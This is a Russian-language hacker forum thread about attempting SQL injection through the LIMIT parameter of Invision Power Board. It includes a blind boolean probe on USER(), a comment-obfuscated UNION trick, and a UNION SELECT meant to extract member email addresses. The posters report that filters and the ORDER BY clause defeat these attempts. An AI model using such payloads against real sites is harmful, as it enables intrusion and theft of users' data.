![]() |
SQL-inject в Invision Power Board
Странно, что до меня никто не задал подобный вопрос (наверное, все читают только русский bugtraq):
mySQL query error: SELECT * FROM ibf_sessions s WHERE s.running_time > 1158056188 ORDER BY running_time desc LIMIT -999,25 Насколько я знаю синтаксис union, он не катит после LIMIT. AND вроде тоже не подставить, так что тогда делать? Все, придумал. Драбоать только надо. Кто поможет? sort_key=click&st=(ascii(lower(substring(USER(),1, 1)))%3E100),25 Кто подскажет - как в этом запросе найти разницу (во внешнем виде страницы) между запросом, возвращающим единицу, и возвращающим нуль. Нашел разницу - строк на одну меньше. И все равно запрос не катит. Блин. Вопрос снят, там фильтры. |
Вот и поговорил сам с собой ))
|
гы )
|
Цитата:
|
там фильтруется все кроме номеров. Буквы режуться :)
да и после Limit, Union не может работать, как все знают :), конечно если ты только не нарыл какой нить секретнейший новейший способ )))))) |
че то я не понял
Код:
инъекция после limit. |
попробуй ввести AES_DECRYPT(AES_ENCRYPT(-999,25/**/union/**/select/**/null/*,0x71),0x71)
|
я не имел ввиду, а не уточнил почему не будет в данном случае работать LIMIT :)
LoFFi думал Вы заметите, что там ORDER BY, и вот по этому после LIMIT и не будет работать UNION :) |
SELECT * FROM ibf_skin_templates limit 1,0 union select 1,1,1,1,1,1,1,converge_email FROM ibf_members_converge
да будет канать.. там вот такой запрос: SELECT * FROM ibf_sessions s WHERE s.running_time > 1158056188 ORDER BY running_time desc LIMIT 9,25 мы к нему, если бы даже смогли что нить добавить, то добавили бы: union select 1,1,1,1,1,1,1,converge_email FROM ibf_members_converge то есть если всё в месте, то получили бы: SELECT * FROM ibf_sessions s WHERE s.running_time > 1158056188 ORDER BY running_time desc LIMIT 9,25 union select 1,1,1,1,1,1,1,converge_email FROM ibf_members_converge/* ну и в ответ получили бы Incorrect usage of UNION and ORDER BY |
Цитата:
|
| Время: 10:42 |